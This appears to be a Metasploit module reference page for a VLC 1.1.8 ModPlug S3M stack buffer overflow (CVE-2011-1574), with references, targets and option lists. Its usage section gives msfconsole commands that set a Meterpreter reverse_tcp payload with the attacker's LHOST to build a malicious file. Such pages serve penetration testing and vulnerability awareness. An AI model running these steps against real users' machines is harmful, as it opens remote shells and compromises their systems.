VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow
This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. As such, this module is capable of bypassing DEP, but not ASLR.
Exploit Rank
- Average
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
- CVE-2011-1574
- OSVDB-72143
- http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug...
- http://hackipedia.org/File%20formats/Music/html/s3mformat.php
- https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt
- http://seclists.org/fulldisclosure/2011/Apr/113
Exploit Targets
- 0 - VLC 1.1.8 on Windows XP SP3 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/fileformat/a-pdf_wav_to_mp3
- exploit/windows/fileformat/acdsee_fotoslate_string
- exploit/windows/fileformat/acdsee_xpm
- exploit/windows/fileformat/activepdf_webgrabber
- exploit/windows/fileformat/adobe_collectemailinfo
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/adobe_flashplayer_button
- exploit/windows/fileformat/adobe_flashplayer_newfunction
- exploit/windows/fileformat/adobe_flatedecode_predictor02
- exploit/windows/fileformat/adobe_geticon
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/vlc_modplug_s3m
msf exploit(vlc_modplug_s3m) > show payloads
msf exploit(vlc_modplug_s3m) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_modplug_s3m) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_modplug_s3m) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/fileformat/vlc_modplug_s3m
msf exploit(vlc_modplug_s3m) > show payloads
msf exploit(vlc_modplug_s3m) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(vlc_modplug_s3m) > set LHOST [MY IP ADDRESS]
msf exploit(vlc_modplug_s3m) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.s3m) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
